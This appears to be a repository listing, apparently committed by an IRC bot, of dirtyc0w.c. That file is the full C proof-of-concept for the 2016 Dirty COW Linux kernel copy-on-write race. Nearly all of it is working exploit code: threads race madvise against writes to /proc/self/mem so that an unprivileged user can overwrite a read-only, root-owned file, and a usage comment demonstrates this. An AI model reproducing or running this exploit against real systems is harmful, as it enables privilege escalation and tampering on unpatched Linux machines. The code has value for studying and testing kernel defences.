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<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
author HackBot
date Fri, 28 Oct 2016 18:28:08 +0000
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9487:283a0b9e572b 9488:c44d1d9b6099
1 /*
2 ####################### dirtyc0w.c #######################
3 $ sudo -s
4 # echo this is not a test > foo
5 # chmod 0404 foo
6 $ ls -lah foo
7 -r-----r-- 1 root root 19 Oct 20 15:23 foo
8 $ cat foo
9 this is not a test
10 $ gcc -pthread dirtyc0w.c -o dirtyc0w
11 $ ./dirtyc0w foo m00000000000000000
12 mmap 56123000
13 madvise 0
14 procselfmem 1800000000
15 $ cat foo
16 m00000000000000000
17 ####################### dirtyc0w.c #######################
18 */
19 #include <stdio.h>
20 #include <sys/mman.h>
21 #include <fcntl.h>
22 #include <pthread.h>
23 #include <unistd.h>
24 #include <sys/stat.h>
25 #include <string.h>
26 #include <stdint.h>
27
28 void *map;
29 int f;
30 struct stat st;
31 char *name;
32
33 void *madviseThread(void *arg)
34 {
35 char *str;
36 str=(char*)arg;
37 int i,c=0;
38 for(i=0;i<100000000;i++)
39 {
40 /*
41 You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
42 > This is achieved by racing the madvise(MADV_DONTNEED) system call
43 > while having the page of the executable mmapped in memory.
44 */
45 c+=madvise(map,100,MADV_DONTNEED);
46 }
47 printf("madvise %d\n\n",c);
48 }
49
50 void *procselfmemThread(void *arg)
51 {
52 char *str;
53 str=(char*)arg;
54 /*
55 You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
56 > The in the wild exploit we are aware of doesn't work on Red Hat
57 > Enterprise Linux 5 and 6 out of the box because on one side of
58 > the race it writes to /proc/self/mem, but /proc/self/mem is not
59 > writable on Red Hat Enterprise Linux 5 and 6.
60 */
61 int f=open("/proc/self/mem",O_RDWR);
62 int i,c=0;
63 for(i=0;i<100000000;i++) {
64 /*
65 You have to reset the file pointer to the memory position.
66 */
67 lseek(f,(uintptr_t) map,SEEK_SET);
68 c+=write(f,str,strlen(str));
69 }
70 printf("procselfmem %d\n\n", c);
71 }
72
73
74 int main(int argc,char *argv[])
75 {
76 /*
77 You have to pass two arguments. File and Contents.
78 */
79 if (argc<3) {
80 (void)fprintf(stderr, "%s\n",
81 "usage: dirtyc0w target_file new_content");
82 return 1; }
83 pthread_t pth1,pth2;
84 /*
85 You have to open the file in read only mode.
86 */
87 f=open(argv[1],O_RDONLY);
88 fstat(f,&st);
89 name=argv[1];
90 /*
91 You have to use MAP_PRIVATE for copy-on-write mapping.
92 > Create a private copy-on-write mapping. Updates to the
93 > mapping are not visible to other processes mapping the same
94 > file, and are not carried through to the underlying file. It
95 > is unspecified whether changes made to the file after the
96 > mmap() call are visible in the mapped region.
97 */
98 /*
99 You have to open with PROT_READ.
100 */
101 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
102 printf("mmap %zx\n\n",(uintptr_t) map);
103 /*
104 You have to do it on two threads.
105 */
106 pthread_create(&pth1,NULL,madviseThread,argv[1]);
107 pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
108 /*
109 You have to wait for the threads to finish.
110 */
111 pthread_join(pth1,NULL);
112 pthread_join(pth2,NULL);
113 return 0;
114 }